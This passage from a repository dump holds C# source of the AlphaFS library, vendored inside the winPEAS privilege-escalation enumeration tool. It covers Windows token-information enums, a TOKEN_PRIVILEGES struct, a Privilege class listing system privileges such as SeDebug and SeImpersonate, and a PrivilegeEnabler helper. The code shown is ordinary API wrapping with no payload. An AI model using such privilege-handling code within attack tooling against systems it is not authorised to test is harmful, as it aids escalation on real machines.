//TokenPrivileges = 3,\n\n         ///// <summary>The buffer receives a TOKEN_OWNER structure that contains the default owner security identifier (SID) for newly created objects.</summary>\n         //TokenOwner = 4,\n\n         ///// <summary>The buffer receives a TOKEN_PRIMARY_GROUP structure that contains the default primary group SID for newly created objects.</summary>\n         //TokenPrimaryGroup = 5,\n\n         ///// <summary>The buffer receives a TOKEN_DEFAULT_DACL structure that contains the default DACL for newly created objects.</summary>\n         //TokenDefaultDacl = 6,\n\n         ///// <summary>The buffer receives a TOKEN_SOURCE structure that contains the source of the token. TOKEN_QUERY_SOURCE access is needed to retrieve this information.</summary>\n         //TokenSource = 7,\n\n         ///// <summary>The buffer receives a TOKEN_TYPE value that indicates whether the token is a primary or impersonation token.</summary>\n         //TokenType = 8,\n\n         ///// <summary>The buffer receives a SECURITY_IMPERSONATION_LEVEL value that indicates the impersonation level of the token. If the access token is not an impersonation token, the function fails.</summary>\n         //TokenImpersonationLevel = 9,\n\n         ///// <summary>The buffer receives a TOKEN_STATISTICS structure that contains various token statistics.</summary>\n         //TokenStatistics = 10,\n\n         ///// <summary>The buffer receives a TOKEN_GROUPS structure that contains the list of restricting SIDs in a restricted token.</summary>\n         //TokenRestrictedSids = 11,\n\n         ///// <summary>The buffer receives a DWORD value that indicates the Terminal Services session identifier that is associated with the token.</summary>\n         //TokenSessionId = 12,\n\n         ///// <summary>The buffer receives a TOKEN_GROUPS_AND_PRIVILEGES structure that contains the user SID, the group accounts, the restricted SIDs, and the authentication ID associated with the token.</summary>\n         //TokenGroupsAndPrivileges = 13,\n\n         ///// <summary>Reserved.</summary>\n         //TokenSessionReference = 14,\n\n         ///// <summary>The buffer receives a DWORD value that is nonzero if the token includes the SANDBOX_INERT flag.</summary>\n         //TokenSandBoxInert = 15,\n\n         ///// <summary>Reserved.</summary>\n         //TokenAuditPolicy = 16,\n\n         ///// <summary>The buffer receives a TOKEN_ORIGIN value.</summary>\n         //TokenOrigin = 17,\n\n         /// <summary>The buffer receives a TOKEN_ELEVATION_TYPE value that specifies the elevation level of the token.</summary>\n         TokenElevationType = 18,\n\n         ///// <summary>The buffer receives a TOKEN_LINKED_TOKEN structure that contains a handle to another token that is linked to this token.</summary>\n         //TokenLinkedToken = 19,\n\n         ///// <summary>The buffer receives a TOKEN_ELEVATION structure that specifies whether the token is elevated.</summary>\n         //TokenElevation = 20,\n\n         ///// <summary>The buffer receives a DWORD value that is nonzero if the token has ever been filtered.</summary>\n         //TokenHasRestrictions = 21,\n\n         ///// <summary>The buffer receives a TOKEN_ACCESS_INFORMATION structure that specifies security information contained in the token.</summary>\n         //TokenAccessInformation = 22,\n\n         ///// <summary>The buffer receives a DWORD value that is nonzero if virtualization is allowed for the token.</summary>\n         //TokenVirtualizationAllowed = 23,\n\n         ///// <summary>The buffer receives a DWORD value that is nonzero if virtualization is enabled for the token.</summary>\n         //TokenVirtualizationEnabled = 24,\n\n         ///// <summary>The buffer receives a TOKEN_MANDATORY_LABEL structure that specifies the token's integrity level.</summary>\n         //TokenIntegrityLevel = 25,\n\n         ///// <summary>The buffer receives a DWORD value that is nonzero if the token has the UIAccess flag set.</summary>\n         //TokenUIAccess = 26,\n\n         ///// <summary>The buffer receives a TOKEN_MANDATORY_POLICY structure that specifies the token's mandatory integrity policy.</summary>\n         //TokenMandatoryPolicy = 27,\n\n         ///// <summary>The buffer receives a TOKEN_GROUPS structure that specifies the token's logon SID.</summary>\n         //TokenLogonSid = 28,\n\n         ///// <summary>The buffer receives a DWORD value that is nonzero if the token is an app container token.</summary>\n         //TokenIsAppContainer = 29,\n\n         ///// <summary>The buffer receives a TOKEN_GROUPS structure that contains the capabilities associated with the token.</summary>\n         //TokenCapabilities = 30,\n\n         ///// <summary>The buffer receives a TOKEN_APPCONTAINER_INFORMATION structure that contains the AppContainerSid associated with the token.</summary>\n         //TokenAppContainerSid = 31,\n\n         ///// <summary>The buffer receives a DWORD value that includes the app container number for the token. For tokens that are not app container tokens, this value is zero.</summary>\n         //TokenAppContainerNumber = 32,\n\n         ///// <summary>The buffer receives a CLAIM_SECURITY_ATTRIBUTES_INFORMATION structure that contains the user claims associated with the token.</summary>\n         //TokenUserClaimAttributes = 33,\n\n         ///// <summary>The buffer receives a CLAIM_SECURITY_ATTRIBUTES_INFORMATION structure that contains the device claims associated with the token.</summary>\n         //TokenDeviceClaimAttributes = 34,\n\n         ///// <summary>This value is reserved.</summary>\n         //TokenRestrictedUserClaimAttributes = 35,\n\n         ///// <summary>This value is reserved.</summary>\n         //TokenRestrictedDeviceClaimAttributes = 36,\n\n         ///// <summary>The buffer receives a TOKEN_GROUPS structure that contains the device groups that are associated with the token.</summary>\n         //TokenDeviceGroups = 37,\n\n         ///// <summary>The buffer receives a TOKEN_GROUPS structure that contains the restricted device groups that are associated with the token.</summary>\n         //TokenRestrictedDeviceGroups = 38,\n\n         ///// <summary>This value is reserved.</summary>\n         //TokenSecurityAttributes = 39,\n\n         ///// <summary>This value is reserved.</summary>\n         //TokenIsRestricted = 40, \n\n         ///// <summary>The maximum value for this enumeration.</summary>\n         //MaxTokenInfoClass = 41\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/TOKEN_PRIVILEGES.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Security\n{\n   /// <summary>The TOKEN_PRIVILEGES structure contains information about a set of privileges for an access token.</summary>\n   [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n   internal struct TOKEN_PRIVILEGES\n   {\n      /// <summary>This must be set to the number of entries in the Privileges array.</summary>\n      [MarshalAs(UnmanagedType.U4)] public uint PrivilegeCount;\n\n      /// <summary>Specifies an array of LUID_AND_ATTRIBUTES structures. Each structure contains the LUID and attributes of a privilege.</summary>\n      public LUID Luid;\n\n      /// <summary>The attributes of a privilege can be a combination of the following values:\n      /// SE_PRIVILEGE_ENABLED: The privilege is enabled.\n      /// SE_PRIVILEGE_ENABLED_BY_DEFAULT: The privilege is enabled by default.\n      /// SE_PRIVILEGE_REMOVED: Used to remove a privilege. For details, see AdjustTokenPrivileges.\n      /// SE_PRIVILEGE_USED_FOR_ACCESS: The privilege was used to gain access to an object or service. This flag is used to identify the relevant privileges in a set passed by a client application that may contain unnecessary privileges.\n      /// </summary>\n      [MarshalAs(UnmanagedType.U4)] public uint Attributes;\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Privilege.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Security\n{\n   /// <summary>Represents a privilege for an access token. The privileges available on the local machine are available as \n   /// static instances from this class. To create a <see cref=\"Privilege\"/> representing a privilege on another system,\n   /// use the constructor specifying a system name together with one of these static instances.\n   /// </summary>\n   /// <seealso cref=\"PrivilegeEnabler\"/>\n   [ImmutableObject(true)]\n   public class Privilege : IEquatable<Privilege>\n   {\n      #region System Privileges\n\n      /// <summary>Required to assign the primary token of a process. User Right: Replace a process-level token.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege AssignPrimaryToken = new Privilege(\"SeAssignPrimaryTokenPrivilege\");\n\n\n      /// <summary>Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege Audit = new Privilege(\"SeAuditPrivilege\");\n\n\n      /// <summary>Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. User Right: Back up files and directories.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege Backup = new Privilege(\"SeBackupPrivilege\");\n\n\n      /// <summary>Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege ChangeNotify = new Privilege(\"SeChangeNotifyPrivilege\");\n\n\n      /// <summary>Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for administrators, services, and the local system account. User Right: Create global objects.</summary>\n      /// <remarks>Windows XP/2000:  This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP SP2, and Windows 2000 SP4.</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege CreateGlobal = new Privilege(\"SeCreateGlobalPrivilege\");\n\n\n      /// <summary>Required to create a paging file. User Right: Create a pagefile.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Pagefile\")]\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege CreatePagefile = new Privilege(\"SeCreatePagefilePrivilege\");\n\n\n      /// <summary>Required to create a permanent object. User Right: Create permanent shared objects.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege CreatePermanent = new Privilege(\"SeCreatePermanentPrivilege\");\n\n\n      /// <summary>Required to create a symbolic link. User Right: Create symbolic links.</summary>           \n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege CreateSymbolicLink = new Privilege(\"SeCreateSymbolicLinkPrivilege\");\n\n\n      /// <summary>Required to create a primary token. User Right: Create a token object.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege CreateToken = new Privilege(\"SeCreateTokenPrivilege\");\n\n\n      /// <summary>Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege Debug = new Privilege(\"SeDebugPrivilege\");\n\n\n      /// <summary>Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be trusted for delegation.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege EnableDelegation = new Privilege(\"SeEnableDelegationPrivilege\");\n\n\n      /// <summary>Required to impersonate. User Right: Impersonate a client after authentication.</summary>\n      /// <remarks>Windows XP/2000:  This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP SP2, and Windows 2000 SP4.</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege Impersonate = new Privilege(\"SeImpersonatePrivilege\");\n\n\n      /// <summary>Required to increase the base priority of a process. User Right: Increase scheduling priority.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege IncreaseBasePriority = new Privilege(\"SeIncreaseBasePriorityPrivilege\");\n\n\n      /// <summary>Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege IncreaseQuota = new Privilege(\"SeIncreaseQuotaPrivilege\");\n\n\n      /// <summary>Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege IncreaseWorkingSet = new Privilege(\"SeIncreaseWorkingSetPrivilege\");\n\n\n      /// <summary>Required to load or unload a device driver. User Right: Load and unload device drivers.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege LoadDriver = new Privilege(\"SeLoadDriverPrivilege\");\n\n\n      /// <summary>Required to lock physical pages in memory. User Right: Lock pages in memory.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege LockMemory = new Privilege(\"SeLockMemoryPrivilege\");\n\n\n      /// <summary>Required to create a computer account. User Right: Add workstations to domain.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege MachineAccount = new Privilege(\"SeMachineAccountPrivilege\");\n\n\n      /// <summary>Required to enable volume management privileges. User Right: Manage the files on a volume.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege ManageVolume = new Privilege(\"SeManageVolumePrivilege\");\n\n\n      /// <summary>Required to gather profiling information for a single process. User Right: Profile single process.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege ProfileSingleProcess = new Privilege(\"SeProfileSingleProcessPrivilege\");\n\n\n      /// <summary>Required to modify the mandatory integrity level of an object. User Right: Modify an object label.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Relabel\")]\n      public static readonly Privilege Relabel = new Privilege(\"SeRelabelPrivilege\");\n\n\n      /// <summary>Required to shut down a system using a network request. User Right: Force shutdown from a remote system.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege RemoteShutdown = new Privilege(\"SeRemoteShutdownPrivilege\");\n\n\n      /// <summary>Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any valid user or group SID as the owner of a file. User Right: Restore files and directories.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege Restore = new Privilege(\"SeRestorePrivilege\");\n\n\n      /// <summary>Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a security operator. User Right: Manage auditing and security log.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege Security = new Privilege(\"SeSecurityPrivilege\");\n\n\n      /// <summary>Required to shut down a local system. User Right: Shut down the system.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege Shutdown = new Privilege(\"SeShutdownPrivilege\");\n\n\n      /// <summary>Required for a domain controller to use the LDAP directory synchronization services. This privilege enables the holder to read all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege SyncAgent = new Privilege(\"SeSyncAgentPrivilege\");\n\n\n      /// <summary>Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: Modify firmware environment values.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege SystemEnvironment = new Privilege(\"SeSystemEnvironmentPrivilege\");\n\n\n      /// <summary>Required to gather profiling information for the entire system. User Right: Profile system performance.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege SystemProfile = new Privilege(\"SeSystemProfilePrivilege\");\n\n\n      /// <summary>Required to modify the system time. User Right: Change the system time.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege SystemTime = new Privilege(\"SeSystemtimePrivilege\");\n\n\n      /// <summary>Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files or other objects.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege TakeOwnership = new Privilege(\"SeTakeOwnershipPrivilege\");\n\n\n      /// <summary>This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. User Right: Act as part of the operating system.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Tcb\")]\n      public static readonly Privilege Tcb = new Privilege(\"SeTcbPrivilege\");\n\n\n      /// <summary>Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege TimeZone = new Privilege(\"SeTimeZonePrivilege\");\n\n\n      /// <summary>Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Cred\")]\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege TrustedCredManAccess = new Privilege(\"SeTrustedCredManAccessPrivilege\");\n\n\n      /// <summary>Required to undock a laptop. User Right: Remove computer from docking station.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege Undock = new Privilege(\"SeUndockPrivilege\");\n\n\n      /// <summary>Required to read unsolicited input from a terminal device. User Right: Not applicable.</summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2104:DoNotDeclareReadOnlyMutableReferenceTypes\")]\n      public static readonly Privilege UnsolicitedInput = new Privilege(\"SeUnsolicitedInputPrivilege\");\n\n      #endregion // System Privileges\n\n      \n      #region Fields\n\n      private readonly string _name;\n      private readonly string _systemName;\n\n      #endregion // Fields\n\n\n      #region Constructors\n\n      /// <summary>Create a new <see cref=\"Privilege\"/> instance, representing the specified privilege on the specified system.</summary>\n      /// <param name=\"systemName\">Name of the system.</param>\n      /// <param name=\"privilege\">The privilege to copy the privilege name from.</param>\n      public Privilege(string systemName, Privilege privilege)\n      {\n         if (Utils.IsNullOrWhiteSpace(systemName))\n            throw new ArgumentNullException(\"systemName\", Resources.Privilege_Name_Cannot_Be_Empty);\n\n         _systemName = systemName;\n\n         if (null != privilege)\n            _name = privilege._name;\n      }\n\n\n      /// <summary>Create a new <see cref=\"Privilege\"/> instance, representing a privilege with the specified name on the local system.</summary>\n      /// <param name=\"name\">The name.</param>\n      private Privilege(string name)\n      {\n         if (Utils.IsNullOrWhiteSpace(name))\n            throw new ArgumentNullException(\"name\", Resources.Privilege_Name_Cannot_Be_Empty);\n\n         _name = name;\n      }\n\n      #endregion // Constructors\n      \n\n      #region Properties\n\n      /// <summary>Gets the system name identifying this privilege.</summary>\n      /// <value>The system name identifying this privilege.</value>\n      public string Name\n      {\n         get { return _name; }\n      }\n\n      #endregion // Properties\n\n      \n      #region Methods\n\n      /// <summary>Retrieves the display name that represents this privilege.</summary>\n      /// <returns>The display name that represents this privilege.</returns>\n      [SecurityCritical]\n      public string LookupDisplayName()\n      {\n         const uint initialCapacity = 10;\n         var bufferSize = initialCapacity;\n         var displayName = new StringBuilder((int) bufferSize);\n         uint languageId;\n\n      Retry:\n\n         var success = NativeMethods.LookupPrivilegeDisplayName(_systemName, _name, ref displayName, ref bufferSize, out languageId);\n\n         var lastError = Marshal.GetLastWin32Error();\n         if (!success)\n         {\n            if (lastError == Win32Errors.ERROR_INSUFFICIENT_BUFFER)\n            {\n               displayName = new StringBuilder((int) bufferSize + 1);\n\n               goto Retry;\n            }\n\n            NativeError.ThrowException(lastError, _name);\n         }\n\n\n         return displayName.ToString();\n      }\n\n\n      /// <summary>Retrieves the locally unique identifier (LUID) used on to represent this privilege (on the system from which it originates).</summary>\n      /// <returns>the locally unique identifier (LUID) used on to represent this privilege (on the system from which it originates).</returns>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Luid\")]\n      [SecurityCritical]\n      public long LookupLuid()\n      {\n         LUID luid;\n\n         var success = NativeMethods.LookupPrivilegeValue(_systemName, _name, out luid);\n\n         var lastError = Marshal.GetLastWin32Error();\n         if (!success)\n            NativeError.ThrowException(lastError, _name);\n\n\n         return Filesystem.NativeMethods.LuidToLong(luid);\n      }\n\n\n      /// <summary>Serves as a hash function for a particular type.</summary>\n      /// <returns>A hash code for the current Object.</returns>\n      public override int GetHashCode()\n      {\n         return !Utils.IsNullOrWhiteSpace(Name) ? Name.GetHashCode() : 0;\n      }\n\n\n      /// <summary>Returns the system name for this privilege.</summary>\n      /// <remarks>This is equivalent to <see cref=\"Privilege.Name\"/>.</remarks>\n      /// <returns>A <see cref=\"System.String\"/> that represents the current <see cref=\"object\"/>.</returns>\n      public override string ToString()\n      {\n         return Name;\n      }\n\n\n      /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n      /// <param name=\"other\">An object to compare with this object.</param>\n      /// <returns><c>true</c> if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, <c>false</c>.</returns>\n      public bool Equals(Privilege other)\n      {\n         return null != other && GetType() == other.GetType() &&\n                Equals(Name, other.Name) &&\n                Equals(_systemName, other._systemName);\n      }\n\n\n      /// <summary>Determines whether the specified <see cref=\"object\"/> is equal to the current <see cref=\"object\"/>.</summary>\n      /// <param name=\"obj\">The <see cref=\"object\"/> to compare with the current <see cref=\"object\"/>.</param>\n      /// <returns><c>true</c> if the specified <see cref=\"object\"/> is equal to the current <see cref=\"object\"/>; otherwise, <c>false</c>.</returns>\n      /// <exception cref=\"NullReferenceException\"/>\n      public override bool Equals(object obj)\n      {\n         var other = obj as Privilege;\n\n         return null != other && Equals(other);\n      }\n\n\n      /// <summary>Implements the operator ==</summary>\n      /// <param name=\"left\">A.</param>\n      /// <param name=\"right\">B.</param>\n      /// <returns>The result of the operator.</returns>\n      public static bool operator ==(Privilege left, Privilege right)\n      {\n         return ReferenceEquals(left, null) && ReferenceEquals(right, null) ||\n                !ReferenceEquals(left, null) && !ReferenceEquals(right, null) && left.Equals(right);\n      }\n\n\n      /// <summary>Implements the operator !=</summary>\n      /// <param name=\"left\">A.</param>\n      /// <param name=\"right\">B.</param>\n      /// <returns>The result of the operator.</returns>\n      public static bool operator !=(Privilege left, Privilege right)\n      {\n         return !(left == right);\n      }\n      \n      #endregion // Methods\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/PrivilegeEnabler.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Linq;\n\nnamespace Alphaleonis.Win32.Security\n{\n   /// <summary>Used to enable one or more privileges. The privileges specified will be enabled during the lifetime of the instance. Users create an instance of this object in a <c>using</c> statement to ensure that it is properly disposed when the elevated privileges are no longer needed.</summary>\n   public sealed class PrivilegeEnabler : IDisposable\n   {\n      #region PrivilegeEnabler\n\n      private readonly List<InternalPrivilegeEnabler> _enabledPrivileges = new List<InternalPrivilegeEnabler>();\n\n      /// <summary>Initializes a new instance of the <see cref=\"PrivilegeEnabler\"/> class.\n      /// This will enable the privileges specified (unless already enabled), and ensure that they are disabled again when\n      /// the object is disposed. (Any privileges already enabled will not be disabled).\n      /// </summary>\n      /// <param name=\"privilege\">The privilege to enable.</param>\n      /// <param name=\"privileges\">Additional privileges to enable.</param>\n      public PrivilegeEnabler(Privilege privilege, params Privilege[] privileges)\n      {\n         _enabledPrivileges.Add(new InternalPrivilegeEnabler(privilege));\n\n         if (privileges != null)\n            foreach (Privilege priv in privileges)\n               _enabledPrivileges.Add(new InternalPrivilegeEnabler(priv));\n      }\n\n      #endregion // PrivilegeEnabler\n\n      #region Dispose\n\n      /// <summary>Makes sure any privileges enabled by this instance are disabled.</summary>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      public void Dispose()\n      {\n         foreach (InternalPrivilegeEnabler t in _enabledPrivileges)\n         {\n            try\n            {\n               t.Dispose();\n            }\n            catch\n            {\n               // We ignore any exceptions here\n            }\n         }\n      }\n\n      #endregion // Dispose\n\n      #region EnabledPrivileges\n\n      /// <summary>Gets the enabled privileges. Note that this might not contain all privileges specified to the constructor. Only the privileges actually enabled by this instance is returned.</summary>\n      /// <value>The enabled privileges.</value>\n      public IEnumerable<Privilege> EnabledPrivileges\n      {\n         get { return from priv in _enabledPrivileges where priv.EnabledPrivilege != null select priv.EnabledPrivilege; }\n      }\n\n      #endregion // EnabledPrivileges\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/ProcessContext.cs",
